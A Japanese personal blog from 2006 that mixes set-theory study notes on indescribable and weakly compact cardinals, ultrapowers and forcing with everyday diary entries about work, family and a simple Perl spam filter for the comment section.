(弱コンパクト基数に関する Hanf-Scott の定理の証明) まず $\kappa$ が $\mathrm{\Pi}^{1}_{1}$ -記述不可能であると仮定します。昨日の到達不可能基数に関する議論 (記述不可能性(一回目)) により $\kappa$ は到達不可能です。従って $\kappa$ が木の性質をもつことを証明します( 弱コンパクト基数の基本性質(一回目) 参照)。さらに弱コンパクト基数と無限論理のコンパクト性の関連についての議論(弱コンパクト基数(二回目)無限論理との関連参照...証明半分しか書いてないですが)の証明の分析により次のような $\kappa$ -木 $T$ に限定して考えれば十分です。
$T$ は $\gamma<\kappa$ を定義域とする関数 $t:\,\gamma~\rightarrow~2$ からなる。
次の $\mathrm{\Sigma^1_1}$ 論理式を考え $\sigma$ で表すこととします。
$\exists{B\subset{T}}(B~$ は非有界な鎖)
このとき任意の $\alpha<\kappa$ に対し $\langle~V_\alpha,\in,T\cap{V_\alpha}\rangle~|=~\sigma$ が成立します。実際 $B$ として $\mathrm{dom}(t)=\alpha$ である(特定の)関数の $\xi<\alpha$ への制限全体をとれば良いのです。ところが $\kappa$ は $\mathrm{\Pi}^{1}_{1}$ -記述不可能だったので $\langle~V_\kappa,\in,T\rangle~|=~\sigma$ が成り立ちます。
逆方向を証明するために $\sigma$ を $\forall{X}\varphi(X)$ の形の論理式とします。ただし $\varphi(X)$ の $X$ 以外の変数はすべて一階のものとします。 $\langle~V_\kappa,\in,R~\rangle~|=~\forall{X}\varphi(X)$ は一階の論理で次のように記述出来ます。
$\forall{X\subset{V_\kappa}(\langle~V_\kappa,\in,R,X\rangle~|=~\varphi(X)).$
上の補題により推移的な拡張 $\langle~V_\kappa,\in,R~\rangle~\prec~\langle~Y,\in,S~\rangle$ で $\kappa\in~Y$ を満たすものを考えます。 $\kappa$ の到達不可能性により $V_\kappa$ は集合論のモデルなので $Y$ も同様となります。従って $\kappa~\in~Y$ より $V_\kappa~\in~Y$ が成立し $V_\kappa^Y~=~V_\kappa.$ 従って $R=S\cap{V_\kappa}$ であることと $V_\kappa$ の部分集合が $\langle~Y,\in,S~\rangle$ で増えることはない(必要ですよね...)事実に注意すると
$\langle~Y,\in,S~\rangle~|=~\forall{X\subset{V_\kappa}(\langle~V_\kappa,\in,S\cap{V_\kappa},X\rangle~|=~\varphi(X)).$
$\kappa\in{Y}$ なので $\alpha=\kappa$ なる具体例を考えると
$\langle~Y,\in,S~\rangle~|=~\exists{\alpha}\forall{X\subset{V_\alpha}(\langle~V_\alpha,\in,S\cap{V_\alpha},X\rangle~|=~\varphi(X)).$
従って初等性により
$\langle~V_\kappa,\in,R~\rangle~|=~\exists{\alpha}\forall{X\subset{V_\alpha}(\langle~V_\alpha,\in,R\cap{V_\alpha},X\rangle~|=~\varphi(X)).$
従って $\alpha<\kappa$ が存在して $\forall{X\subset{V_\alpha}(\langle~V_\alpha,\in,R\cap{V_\alpha},X\rangle~|=~\varphi(X)).$
$\alpha<\kappa$ に対して $V_{\alpha+1}^{V_\kappa}~=~V_{\alpha+1}$ なので、最後の部分で $V_\alpha$ の部分集合が「増える」心配はないです。なるほど！ $Y$ が可測基数の場合の超べきに対応する役割を果たしているわけですか。さらに可測基数に対応する超べきを考えると $V_{\kappa+1}^M~=~V_{\kappa+1}$ なので記述不可能性の階数が一つ上がる仕組みであると思われます。
(2006年11月28日追記) 一階の論理式に落とした部分で、変数に対応する構造 $X$ を追加しました。
(参考文献) Thomas J. Jech 著 Set Theory A.カナモリ著渕野昌訳巨大基数の集合論
(関連リンク)
2006年11月17日記述不可能性(一回目)
2006年11月18日記述不可能性(二回目)

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2006年11月17日(金)

記述不可能性(一回目)
集合論雑記目次
今日からかなりよろめきそうですが、記述不可能性に関して記載します。まず初等的部分構造の判定基準について復習します。
(初等的部分構造の判定基準) 構造 $\mathcal{B}$ を構造 $\mathcal{A}$ の部分構造とするとき $\mathcal{B}$ が $\mathcal{A}$ の初等的部分構造( $\mathcal{B}\prec\mathcal{A}$ と記述する) となる条件は次の通り。
論理式 $\varphi$ と $b_1,b_2,\cdots,b_n~\in~B$ に対し $A~|=~\exists{x}\varphi(x,b_1,b_2,\cdots,b_n)$ が成立している時 $b\in{B}$ が存在し $A~|=~\varphi(b,b_1,b_2,\cdots,b_n)$
最初から高階の論理に言及すると、少なくとも書いている本人は訳が分からなくなるので、今回はウオーミングアップということで、一階の論理式に対する記述不可能性に関して記載します。今、基数 $\kappa$ に対し、 $R\subset{V_\kappa}$ とし、構造 $\langle~V_\kappa,\in,R~\rangle$ での充足関係 $\langle~V_\kappa,\in,R~\rangle~|=~\varphi$ 考えます。これだと何のことか分かりにくいのですが、例えば $\beta<\kappa$ で $f:\beta~\rightarrow~\kappa$ は共終(cofinal)な関数とします。 $R=f$ とすると $\langle~V_\kappa,\in,R~\rangle~|=~\varphi$ は、例えば $\varphi$ が「 $f$ は非有界な関数である」ことから導かれる事実を $V_\kappa$ 上で表現していれば成立するわけです。「非有界」と言い直すのは、 $\kappa$ へ直接言及することを避けるためです。余分な関係を増やすことも可能です。同様に $\langle~V_\kappa,\in,R,S~\rangle~|=~\varphi$ 等も考えることができます。例えば $R$ を上の通りとして、 $S=\{\beta\}$ の場合、 $\varphi$ が「 $f$ は非有界な関数であり $S$ のただ一つの要素は $f$ の定義域である」ことから導出される事実を $V_\kappa$ 上で表現していれば成立します。
上の例から次の事実が分かります。
$\kappa$ を特異基数とする。 $R\subset{V_\kappa}$ が存在して、任意の $\alpha<\kappa$ に対し $\langle~V_\alpha,\in,R\cap{V_\alpha}~\rangle~\not\prec~\langle~V_\kappa,\in,R~\rangle$
(証明) 命題の表現では一つの関係式しか現れませんが、対の公理等を使用すれば任意有限個の関係式が現れても同様です。従って、上の例と同様に $R,S$ を取り、充足関係 $\langle~V_\kappa,\in,R,S~\rangle~|=~\varphi$ を考えます。ただし $\varphi$ は「 $R$ は関数であり、その定義域は $S$ のただ一つの要素である」を表現しているとします(非有界はあっても良いが必要ない)。このとき、もし $\alpha<\kappa$ が存在して $\langle~V_\alpha,\in,R\cap{V_\alpha},S\cap{V_\alpha}~\rangle~\prec~\langle~V_\kappa,\in,R,S~\rangle$ が成立したと仮定すると $\langle~V_\alpha,\in,R\cap{V_\alpha},S\cap{V_\alpha}~\rangle~|=~\varphi.$ 初等性により「 $R\cap{V_\alpha}$ は関数であり、その定義域は $S\cap{V_\alpha}$ のただ一つの要素である」が成立します。従って $R\cap{V_\alpha}$ の定義域は $\beta$ となりますが、 $R$ は $V_\kappa$ で非有界だったので、 $R\cap{V_\alpha}$ の値域の要素が $V_\alpha$ から「はみ出す」こととなり矛盾です。
この事実を「特異基数はある $n\ge~0$ に対し $\mathrm{\Pi}^0_n$ -記述可能である」と称します。 $\mathrm{\Pi}^0_n$ の意味は次回以降に記載します。
実際にはさらに強い事実が成立します。
基数 $\kappa$ が到達不可能である条件は次の通り。
任意の $R\subset{V_\kappa}$ に対し $C=\{\alpha<\kappa\,:\,\langle~V_\alpha,\in,R\cap{V_\alpha}\rangle~~\prec~\langle~V_\kappa,\in,R~\rangle\}$ は $\kappa$ で閉非有界。
閉非有界集合の定義は「 2004年7月29日閉非有界集合(closed unbounded set) 」を参照して下さい。
(証明) $\kappa$ を到達不可能基数とします。 $C$ が閉じていることはほとんど明らかなので、非有界であることを示します。 $\alpha<\kappa$ とします。このとき順序数 $(<\kappa)$ の列 $(\alpha_n)_{n\in\omega}$ を次のように定義します。まず $\alpha_0=\alpha$ とし $\alpha_n$ まで定義されたとします。このとき $y_1,y_2,\cdots,y_n~\in~V_{\alpha_n}$ に対して $\langle~V_\kappa,\in,R~\rangle~|=~\exists{x}(\varphi(x,y_1,y_2,\cdots,y_m))$ が成立したとします。 $\varphi$ と $y_1,y_2,\cdots,y_m$ に依存した $y_0\in~V_\beta(\alpha_n\le\beta<\kappa)$ が存在し $\langle~V_\kappa,\in,R~\rangle~|=~\varphi(y_0,y_1,y_2,\cdots,y_m)$ を満たしますが $\kappa$ が到達不可能であることにより、このような $\beta$ の上限を $\alpha_{n+1}$ とすると $\alpha_{n+1}<\kappa.$ 従って $\gamma~=~\mathrm{sup}_{n\in\omega}{\alpha_n}$ とすると、 $\alpha~\leq~\gamma<\kappa$ で「初等的部分構造の判定基準」により $\langle~V_\gamma,\in,R\cap{V_\gamma}\rangle~~\prec~\langle~V_\kappa,\in,R~\rangle.$
逆に $\kappa$ が到達不可能基数でない場合、正則でない場合は上で証明済みなので、強極限でないとします。すると $\lambda<\kappa$ と上への関数 $f~:~\mathcal{P}(\lambda)~\rightarrow~\kappa$ が存在しますが、構造 $\langle~V_\kappa,\in,f,\{\mathcal{P}(\lambda)\}~\rangle$ を考えることにより、上の特異基数の場合の証明と同様に「下への反映」の不可能性が分かります。
この事実を「到達不可能基数は任意の $n\ge~0$ に対し $\mathrm{\Pi}^0_n$ -記述不可能である」と称します。
(参考文献) A.カナモリ著渕野昌訳巨大基数の集合論 Thomas J. Jech 著 Set Theory
(関連リンク) 2004年7月29日閉非有界集合(closed unbounded set)
(付記 2006年11月18日) 特異基数の記述性に関する定式化とそれに伴う証明が誤っていたので修正しました。
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2006年11月16日(木)

ちゃうちゃう
下の左肩の近傍が痛む記事ですが、近眼+老眼のため、Jech の Set Theory を読む時、無意識に眼鏡をはずし、左手で本を持ち(重いのです)顔に近づけて読むかららしい。なので五十肩ではなさそう。断言はできませんが。
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五十肩
二週間程前から肩甲骨から左肩、左腕にかけて痛むのです。腕を上げると痛むというより、水平にして内側に力がかかると痛いのです。もしかしてこれが五十肩？やですなあ(笑)。
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2006年11月15日(水)

勉強中
記述不可能性について勉強中。いまいちしっくりこない。今まで勉強した部分は、代数的な発想でなんとかなったと思うが、この辺りから、論理や構造、モデルに関する繊細さが必要になる感じで、やや苦戦中なのです。例えば $\langle~V_{\kappa+1},\in,X,V_\kappa,R~\rangle~|=~\tilde{\varphi}$ とか言われても、ああそうなんですか、という感じ。可測基数に関しては、例えば $\mathrm{\Pi}^2_1$ -論理式 $\varphi$ の適切な実例で考えないとだめかも。そういう意味では弱コンパクト基数の $\mathrm{\Pi}^1_1$ 記述不可能性の方が、一度構造を拡張して、元の構造に反映させ、その反映を芋づる式に下の方に反映する、という感じで分かりやすい面もあるかも知れません。
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2006年11月14日(火)

正規超フィルターと超べき
集合論雑記目次
本日の目標は、超べきの初歩に関するとりあえずのまとめを行い、弱コンパクト基数がいっぱいに関する証明を完成させることです。 $\kappa$ を可測基数とし、 $U$ をその上の非単項 $\kappa$ 完備超フィルターとし、 $j:\,V~\rightarrow~M$ を対応する超べきの推移的崩壊への初等的埋め込みとします。このとき
$X~\subset~V_{\kappa}$ に対し、 $X=j(X)\cap~V_{\kappa}$
が成立します。実際
$x\in{X}~\leftrightarrow~x\in{X}~\wedge~x\in~{V_\kappa}$
$\leftrightarrow~j(x)\in~j(X)~\wedge~x~\in~{V_\kappa}$
$\leftrightarrow~x\in{j(X)}~\wedge~x~\in~{V_\kappa}$
です。最後の同値は $x\in{V_\kappa}$ に対し $x=j(x)$ であることを使用しました。さらに同じ理由により $V_\kappa^M~=~V_\kappa$ が成立するので、最初の注意と合わせ、 $V_{\kappa~+~1}^M~=~V_{\kappa+1}$ も成立することが分かります。可測基数は弱コンパクトであることはすでに記載したので( 2006年10月2日弱コンパクト基数の基本性質(一回目))、 2006年8月24日可測基数と弱コンパクト基数(再挑戦) の仮定は成り立つことが分かりました。従って
$(\kappa$ は弱コンパクト $)^M$
が成立します。ところが $F=\{X\subset{\kappa}~\,:\,~\kappa~\in~j(X)~\}$ と定義すると、 $F$ は $\kappa$ 上の正規超フィルター (従って $\kappa$ 完備)となります。証明はくるるさんの記事「初等埋め込みと可測基数」を参照して下さい。従って $F$ による超べきを考えることにより $(\kappa~=~[\mathrm{id}_\kappa])^M$ が成立し、「弱コンパクト基数がいっぱい」即ち、可測基数の下に大量(正規超フィルターのある要素分)の弱コンパクト基数が存在することが分かります。
少々時間を費やし過ぎましたが、超べきの定義から勉強を始め、この段階までのストーリーは、自分として見通しが良く、とても楽しめました。まだまだ超べきの基本的な事実に関し、記載したい内容はたくさんあるのですが、大分長くなってきたので、そろそろ記述不可能性についての話題に移行する予定です。その段階で超べきに関するさらなる話題も書くことがあると思います。
(参考文献) A.カナモリ著渕野昌訳巨大基数の集合論
(関連リンク) くるるさんの記事「初等埋め込みと可測基数」
(関連項目)
2006年9月10日超積、超べきとLośの定理
 2006年8月24日可測基数と弱コンパクト基数(再挑戦)
2006年10月2日弱コンパクト基数の基本性質(一回目)
2006年11月12日正規フィルターとフォドァの補題
 2006年7月9日弱コンパクト基数がいっぱい
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2006年11月13日(月)

存在しないことは存在するか
学生時代とても頭が良く切れ者の知り合いがいまして、その人は文学部だったのですが、数学も良く出来、難しい大学入試問題もすらすらと解いてたのです。ところが一度数学談義になり、彼が言うには $\emptyset$ と $\{\emptyset\}$ の違いが分からないというのです。で、そのときはどうしてこんなに頭の良い人が、これほどあたりまえの事実の把握に失敗してるのか理解出来ず、通り一遍に片方の要素の個数は 0 で、もう片方の要素の数は 1個なので違うじゃない、等色々説明を試みたのですが、結局分かってもらえなかったのでした。別にそれで特に困るわけではないので、一時間くらいであきらめましたが。
ところが、最近ネットで似たような事例を聞いたので、どこでつっかかってるのか、ちょっと考えてみたところ、おそらく次のようなイメージなのではと思いついたのです。

$\emptyset$ なんにもない

$\{\emptyset\}$ なんにもないのが入っている

↓ なんにもないのだから書かなくても同じ

{ } ほら！空集合

たしかに「存在しない」という概念の外延化に失敗すると、上記のような「推論」が行われても不思議ではありません。そんなことを奥さまに話したら、実際、昔から上記のような議論は行われており、結局「存在しない」ことを「存在しない」と考える方向は、自己満足もしくは不毛な内容に陥った、という経緯があるそうです。もしかして 0 という数の対象化が、数学の歴史の中で存外遅かったのも同様な理由なのかも知れません。
考えようによっては、上のような疑問を持つ人は、なんというか、非常に物事を繊細に考える指向があるのかも知れませんが、やはり方向として不毛であることは否めないと思います。もっとも、私自身は存在公理はもちろん、無限公理や選択公理、べき集合公理等に疑問を感じたことは一度もないので、感性がにぶすぎるのかもれません。
余談ですが、初等教育で自然数から 0 を除外しているのは犯罪に近いと思うのですが、どうして何十年も放置されているのだろう。不思議です。さらに、等号付きの不等号で下の横棒が二本なのも何とかならんのかなとは思っています。かっこわる過ぎです。
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2006年11月12日(日)

正規フィルターとフォドァの補題
集合論雑記目次
非可算正則基数 $\kappa$ 上の非単項フィルター $F$ が次の条件を満たす時正規であると呼びます。
$(X_\alpha)_{\alpha<\kappa}$ を $F$ の要素の列とする時 $\mathrm{\Delta}_{\alpha<\kappa}{X_\alpha}~\in~F$
はの対角共通部分と呼ばれます (2004年7月閉非有界集合参照) 。に対しをの要素の族とするとき、に対しと水増しすることにより、が成り立つので、正規フィルターは -complete. さらに閉非有界集合の場合と同様に -定常集合の定義を行います。
$S\subset\kappa$ が $F$ -定常とは、任意の $X\in{F}$ に対し $S\cap{X}\neq\emptyset$ が成り立つこと。
特にが超フィルターの場合、定常性はの要素であることと一致します。閉非有界集合に対するフォドアの補題と同様な事実が成立します。
次の条件は同値。
1. $F$ は正規フィルター
2. 任意の $F$ -定常集合 $S$ と退行的関数 $f:\,S~\rightarrow~\kappa$ に対し $\alpha<\kappa$ が存在し $f^{-1}(\{\alpha\})~\subset~{S}$ も $F$ -定常集合となる。
(証明) を正規フィルターと仮定します。を -定常集合とし、を退行的関数とします。今、任意のに対しが定常でないと仮定するとはすべての要素となり、従ってところがとすると、定義によりとなるのでは退行的なので従ってとなり矛盾。
逆に $F$ が正規でないと仮定すると、 $F$ の要素の $\kappa$ 列 $(X_\alpha)_{\alpha<\kappa}$ が存在し $\mathrm{\Delta}_{\alpha<\kappa}X_\alpha~\notin~F.$ 従って $S=\kappa-\mathrm{\Delta}_{\alpha<\kappa}X_\alpha$ は $F$ -定常。 $\xi~\in~S$ は $\exists{\alpha<\xi}(\xi~\notin~X_\alpha)$ を満たすので、 $f(\xi)~=$ 「 $\xi~\notin~X_\alpha$ となる最小の $\alpha$ 」と定義すると退行的であるが $\xi~\in~f^{-1}(\{\alpha\})$ とすると $f(\xi)~=~\alpha$ なので $\xi~\notin~X_\alpha.$ 従って $\forall{\alpha<\kappa}(f^{-1}(\{\alpha\})~\cap~X_\alpha~=~\emptyset)$ となる。
(参考文献) A.カナモリ著渕野昌訳巨大基数の集合論
(関連項目) 2004年7月29日閉非有界集合 2004年8月1日定常集合(stationary set)
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2006年11月11日(土)

モカちゃん「博士の愛した数式」を読む
とつぜんモカちゃんが、「一億以下の素数はいくつあるでしょうか？」と聞いてきたのです。もちろんそんなの分かりませんが、 $x/\log~x$ をおおざっぱに計算して「五百万くらいかな」と答えたところ、5761455 個が正解なそうな。さらに「1 から n まで加えるといくつでしょうか？」と問題は続きます。実はこの段階ではまだ気がつかなかったのですが、次の問題が「220 と 284 を互いに何数と呼ぶのでしょうか」という問題(答えは友愛数)。さすがにこの段階で気がついて、「もしかして『博士の愛した数式』読んでるの」と尋ねたところ、まさにその通りでした。
良く出来たストーリーの本とはいえ、数学的な内容に関してはどうかな、と考えていましたが、モカちゃんにはなかなかのインパクトがあったらしく、現在数学モードに入っているようです。
ところでこの小説のクライマックスで、 $e^{2\pi~i}=1$ なる式が登場します。当然中学生には意味が分かりません。 $e$ に関しては $2.7182\cdots$ という数で、円周率と同様に巡回しない無限小数となることを説明したところ、「どうして無限の先のことが分かるの？」ということなので、「無限のことが有限の考えで分かるのが数学の美しく素晴らしいところ」と説明したのです。
問題は虚数単位ですが、二乗すると $-1$ になる新しい数を考えることを説明したところ、「そんな数どこにあるの？」というしごく当然の疑問が発せられたのです。そこで、数を直線と対応させて考えることを拡張し、平面と対応づけて考えることにより、より豊かな世界を考えることを説明しました。モカちゃんにはまだ理解出来ないのはもちろんですが、意識の奥底に残れば大成功です。
余談ですが、その後私が大の苦手である中学校の図形の問題を出され、途中で面倒になり撃沈したのは絶対に内緒なのです(笑)。
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2006年11月10日(金)

くま
同じ大学同じ学部卒業の M さん情報によると、私が卒業した学部の敷地近傍に熊が出たそうな。さすがど田舎村のお山理学部です。つうか近くに怖い橋があるのですが、ふと気がついたら、そこんとこ熊が歩いてたらさすがにやでしょうなあ(笑)。
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よっしゃ
とりあえずの仕事が一段落。明日から九連休です。
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2006年11月8日(水)

今日もつくば
昨日へましたせいで、今日もつくばです。いないと困るのですが、出番が少ない、という極めて退屈な状況です。こういう場合、激おそとはいえ、WX310Kはなかなか便利なのです。今月は 50万パケット超になりそうです。定額プランなので全く問題ないですが。
それはそうといつも奥さまのおいしい料理を食べていると、たまにジャンク系も食べたくなるのですが、この二月くらい、会社に泊まったりすることが多く、ジャンク漬けになっています。さすがに飽きました。おいしいの食べたい！！
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2006年11月7日(火)

つくば出張
今日はつくばに出張です。結局一晩泊まり。
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2006年11月6日(月)

増加するスパムコメント
いやはや一日 50件を超えました。来るもんなのですねえ。数日前までスパム判定されたコメントも PHS に転送していたのですが、余りに量が多いのと、判定方法があいまいでなく(変換後にEUCコードが含まれていなければスパム)、排除されたのにスパムでなかったという配もないので、そちらは中止しました。いずれにしても、フィルター開始直後から増加の一途です。ある意味タイミングが良かったのかも知れません。増え続ける原因は、日々リンク数が増えるからなのかも知れません。
今までのところすべて英語スパムで、捕捉率 100パーセントなのですが、現行の方式で日本語のスパムが入るようになったらアウトです。そろそろ bsfilter みたいなのに新しいデーターベースを作成して、ぼちぼち学習させた方が良いのかも知れません。メールのデーターベースを利用すると、うまく行かない可能性が強いのですが、別途データーを独立に作成すれば、なんとかなるような気がします。最大の問題は日本語のスパム例題が存在しないことですが、来ちゃうのもやだしほんとに困ったものです。
ところで、コメント欄に abc とか入れられれば分かりますが、POST 後の画面ではそのコメントも一見受理されたように見えるのです。ところが、実際には管理ログファイル以外への書き込みが行われないため、本体には反映されない、という極めて陰険な仕様となっています。単なる手抜きなのですが(笑)。
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2006年11月5日(日)

そろそろ勉強再開
仕事ばかりしていたせいか、無性に数学の勉強をしたくなってきました。そろそろ復活です。正規超フィルターによる超べきの結果をまとめて、記述不可能性関連に進む予定です。実はあと一週間通勤して、11日から19日まで「夏休み(笑)」取得なのです。もちろん予定は数学三昧の生活です。ただし、例えば可測基数が $\mathrm{\Pi}^2_1$ 記述不可能である証明は追えるのですが、そもそも何が記述不可能なのか全く分からないのは困ったものです。 $\langle~V_\kappa,\in,R~\rangle$ の余分に出てくる $R$ のご利益というか意味もも良くわからないし。色々な定理を勉強してこの辺りの直感を養うのが目標です。
「夏休み」明けに昨日書いた大量の殘件処理が待っているのですが、もちろん今はそんな先のこと考えないのです(笑)。
(追記) 余分な関係は二階以上の論理式の表現力をつけるためなそうな。さらに $\langle~V_\omega,\in~\rangle~|=~\forall{x}\exists{y}(x\in{y})$ により $\omega$ は $\mathrm{\Pi}^0_2$ 記述可能という例によると、 $V_\omega$ は $V_\omega$ 以下の世界では $\mathrm{\Pi}^0_2$ 論理式(上の例で有限集合は排除される)で「記述される」という意味なのだろうか？
(関連項目) 2006年10月15日ひとやすみ
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2006年11月4日(土)

連続稼働
とりあえず 24時間連続稼働終了。残件多数あり。その辺りは営業さんへ~~適当にごまかすよう~~適切に説明するようお願いしました。
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2006年11月3日(金)

お仕事
明日出荷の物件の追い込みです。これから24時間連続稼働。
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2006年11月2日(木)

ゲーデルと20世紀の論理学第二巻届く
本日届いていました。仕事が一段落したら読む予定です。
(関連項目)
2006年8月7日ゲーデルと20世紀の論理学第一巻
2006年10月30日ゲーデルと20世紀の論理学(2)
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強制法についてのひとりごと
私自身数学の専門家ではないので、あまり参考にはならないと思いますが、強制法を勉強したときの感想とか。
半順序集合 $\mathbb{P}$ を固定します。 $V$ は集合全体のユニヴァースと考えても、可算モデルと考えても良いです。強制と Generic 拡大の関係は次の通りです。 $V[G]|=\varphi(x_1,x_2,\cdots,x_n)~\leftrightarrow~~\exists{p\in{G}}(p||-\varphi(\dot{x}_1,\dot{x}_2,\cdots,\dot{x}_n)).$ ただし $\dot{x}_1,\dot{x}_2,\cdots,\dot{x}_n$ はそれぞれ $x_1,x_2,\cdots,x_n$ の名称とします。ここで重要なことは $p||-\varphi(\dot{x}_1,\dot{x}_2,\cdots,\dot{x}_n)$ は $V$ の中で記述可能なことであり、これをもって「強制は $V$ での Generic拡大の近似である」と言うことができると思うのです。さらに面白いことに $\dot{G}=\{\langle~\check{p},p~\rangle~\,:\,~p\in\mathbb{P}\}\in{V}$ で定義されるGeneric標準名称は、強制関係において Generic の性質を満たすことが簡単に証明出来るのです。
実際には Generic標準名称のみで議論を行おうとすると、非常に煩わしい場合が多く、さらに、本来集合論は(許される限り)新たな外延を自由に作ることにその本質があるにも関わらず、議論が内包的になり、その結果現実的な拡張性に乏しいという欠点があります。外延を考えないですべてを論理式で考えるようなものです。
それにもかかわらず、強制関係を避けて通ることは不可能なのであり、その辺りに慣れるためには、かなり面倒なことは確かなのですが、それなりの定理を一度自力で、すべて強制法の言葉に置き換え再構成する経験を積む必要があると思います。少々古いのかも知れませんが、Kunen 本が強制法の最初の直感を養うのに一番良いと思います。この辺りのごたごたを一度経験するのはとても大切なことなので。Kunen本の劣化したコピーに近いのですが、私が勉強のまとめに書いた「強制法入門」はすべて内包的な議論で押し通しています。展望や拡張性に乏しい等、余り良い記述ではないのかも知れませんが、可算モデルへの依存がないことと合わせ、論理的にはそれなり筋が通っていると思います。
私自身強制法は初歩の初歩しか知らないので、はずしている部分も多いかも知れませんが、強制の直感と Generic拡大の直感ともに非常に重要であるということで。もちろん大学に所属している場合、先生に良い勉強法を教えてもらうのが一番です。
(追記) くるるさんからコメント(強制法の二つの見方) を頂きました。ありがとうございます。
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2006年11月1日(水)

モカちゃん優秀賞をもらう
モカちゃんが第３７回藤沢市総合かがく展夏休み自由研究の部で優秀賞をもらいました。三年連続です。えへへ(^^。モカちゃんの今年のお題は「クッキーの焼け色の研究」です。表彰式は今週の土曜日なのですが、仕事の関係で行けそうにないのがやや残念なのです。
(関連項目)
2005年10月27日モカちゃん優秀賞をもらう 2004年10月27日モカちゃん一等賞をとる
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2006年10月31日(火)

ハロウィン
各所でハロウィンのイヴェントが盛り上がっているようですが、下の写真は会社の Y さんが全部ご自分で準備して下さった、ハロウィンの飾りです。もちろん全部手作りです。いいですねえ。会社が和やかになります。もちろん仕事は大事なのですが、何といっても毎日長時間過ごすところ。良い雰囲気を作ることはとても大切だと思います。ありがとうございます＞Yさん。
ところでお供え物(違うか？)のお菓子ですが、いつものことなのですが、無性に食べたくなってきました。そこで Y さんの隣の席の S さんに「食べたら怒られるかな？」と聞いたところ、「少しカンパすれば良いのでは」ということで、目のところから百円入れて、三つ程頂戴したのです。後で Y さんに報告したところ、「お菓子はまだ残っているので、ご自由にお食べください。」とのことでしたが、お賽銭(これも違う！)を入れないで盗み食いをすると、夜中にかぼちゃんさまが宙を舞いそうな気がして、少々怖かったのでした(笑)。

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2006年10月30日(月)

ゲーデルと20世紀の論理学(2)
第二巻が発売になったようです。さっそく注文しました。
東京大学出版会 amazon.co.jp
個人的にモデル理論ブームなので、とても良いタイミングなのです。
(関連項目) ゲーデルと20世紀の論理学第一巻 (追記) Amazon で注文した直後に在庫切れに。人気があるのか在庫が極めて少ないのか。微妙です。
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2006年10月29日(日)

会社
昨日と今日は会社で仕事してます。といいますか、私って根本的に人様が作成したプログラムの修正が苦手なのでは、と思うこのごろなのです
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2006年10月27日(金)

ゲーデルの完全性定理(続き)
集合論雑記目次
仕事の方は昨日から今日の分に関して一段落したので、気分直しに自明な事実をいくつか記載します。前回のゲーデルの完全性定理で証明した事実は次の通りでした。
理論が無矛盾ならばモデルを持つ。
この逆、即ち
理論がモデルを持てば無矛盾である。
はモデルの定義によりほとんど自明に成立します。さらに次の事実が成立します。
理論 $T$ の任意のモデルで充足可能な論理式 $\varphi$ は $T$ から証明可能である。
実際、もし $\varphi$ が $T$ から証明可能でない場合 $T\cup\{\neg\varphi\}$ は無矛盾。従って $T\cup\{\neg\varphi\}$ はモデルを持ちますが、これは仮定に反します。矛盾を導く証明は有限個の公理から得られるので、コンパクト定理と呼ばれる次の事実も成立します。
理論 $T$ の任意の有限部分集合がモデルを持てば $T$ もモデルを持つ。
また完全性定理の証明により、可算個の非論理記号からなる言語に属する理論は、無矛盾ならば可算モデルを持つことが分かります。さらに完全性定理の証明における「追加する定数」を事前に非可算個作ることにより、任意の濃度のモデルを持つことも証明出来ます。これがスコーレムの定理です。
ところで、強制法の根拠付けで重要な集合論の可算モデルの存在の仮定は、ゲーデルの完全性定理と不完全性定理により ZFC 内で証明不可能です。この場合、「集合論の有限個の公理」を満たすモデルの存在は ZFC から証明可能である事実を用いるのですが、これは一見コンパクト定理に反するような気がします。
実際には、「個別の具体的に与えられた有限個の公理を満たすモデル」の存在が ZFC から証明可能なわけであり、「任意の有限個の公理を満たすモデル(群) の存在」が ZFC から「一気」には証明できないという事情により、コンパクト定理と矛盾しないわけです。← 自分で考えたので間違いかも。
(関連項目) 2006年10月2日ゲーデルの完全性定理 2006年10月14日弱コンパクト基数(二回目)無限論理との関連
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2006年10月26日(木)

徹夜モード
今晩は会社に泊まりです。余分に働くというより、夜の方がはかどるからという理由です。ただし土日も出勤の予定。少々せっぱつまってきたかな(^^。
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2006年10月25日(水)

コメント欄スパム対策
今まで二回スパムコメントが入りました。今後増えそうな予感もするので、
２バイト文字を含まない内容はスパムと見なす
というルールを追加しました。さらにそのむねコメント記入ページに記載しました。ご迷惑をおかけしますがよろしくお願い致します。文字を数値に変換し、 0x80 とビット積をとるなんて面倒、と思って今まで実装しませんでしたが、実はとても簡単なことが分かったので(^^。
```
if ($body =~ /[\xA1-\xFE][\xA1-\xFE]/) {
    受理
}
```
(追記) 夜中にうまいこと六つ捕捉。これはらくちんで良いです。
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2006年10月24日(火)

しらたまちゃん来たる
新品が届いていました。壊れたのとの交換はご家族さまにお願いしといたので、昨日と今日は古いしらたまちゃんを使っていたのです。古いのに戻した当初は、無意識にくるくるのところをまわそうとしたりして、少々使いにくかったのですが、やっとこ慣れてきたところで、くるくる復活です。
新品を触ってみて感じたのですが、くるくるの部分を回した感触が非常にスムーズなのです。今まで使っていたのはかなりごろごろした感じでしたから。ごろごろ感が個体の不調によるものならば良いのですが、ある程度使用した結果による劣化だとすると、同様な事態が何度でも発生しそうで少々やなのです。
(関連項目) 新しらたまちゃん壊れる
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2006年10月23日(月)

もう時間がない
「プログラムは完成したが、書き込む余白が尽きてしまった」ってお客さんに言ったら怒られるよな(笑)。
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2006年10月22日(日)

新しらたまちゃん壊れる
くるくるの下向きが動かなくなってしまったのです。一月程前から下向きの動きがいまいちになる場合があったのですが、本日、全く動作しなくなってしまいました。こういう機構らしいので、くるくる部分が不調に陥りそうなのは良くわかるのですが、普通のころころマウスみたいに、分解してお掃除できないのが難点です。こりゃ修理に出すしかなさそうですが、実は届いたときの保証書が現在行方不明というダブルパンチ。まいったな。
さらに、上の状態でうかつにもコントロールキーを押しながらくるくるを触り、画面を拡大してしまい、元に戻せなくなり一度リブートしたのは不覚の極みと言うべきです。
くるくるがついてて中途半端な動きしか出来ないなら、元のしらたまちゃんの方が使いやすいので、そちらに戻そうかと現在思案中です。
(後記) アップルのサポートセンターに連絡したところ、なんと新品と交換とのこと。素晴らしい(^^。
(関連項目) 新しらたまちゃん
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2006年10月21日(土)

なるほど可換環の圏
上の方で勝手にリンクさせて頂いている、redcat_math さんのところで、現在「圏論への誘い」というシリーズが進行中です。無知というのは恐ろしいもので、私の質問はリンク先の通り。要するに(可換)環と環準同型からなる圏で全単射が必ずしも同型射にならない例がわかないということ。答えを教えて頂けば明らかなのですが、集合論的な「全射(上への関数)」のイメージが強く、とにかくわからなかったのです。
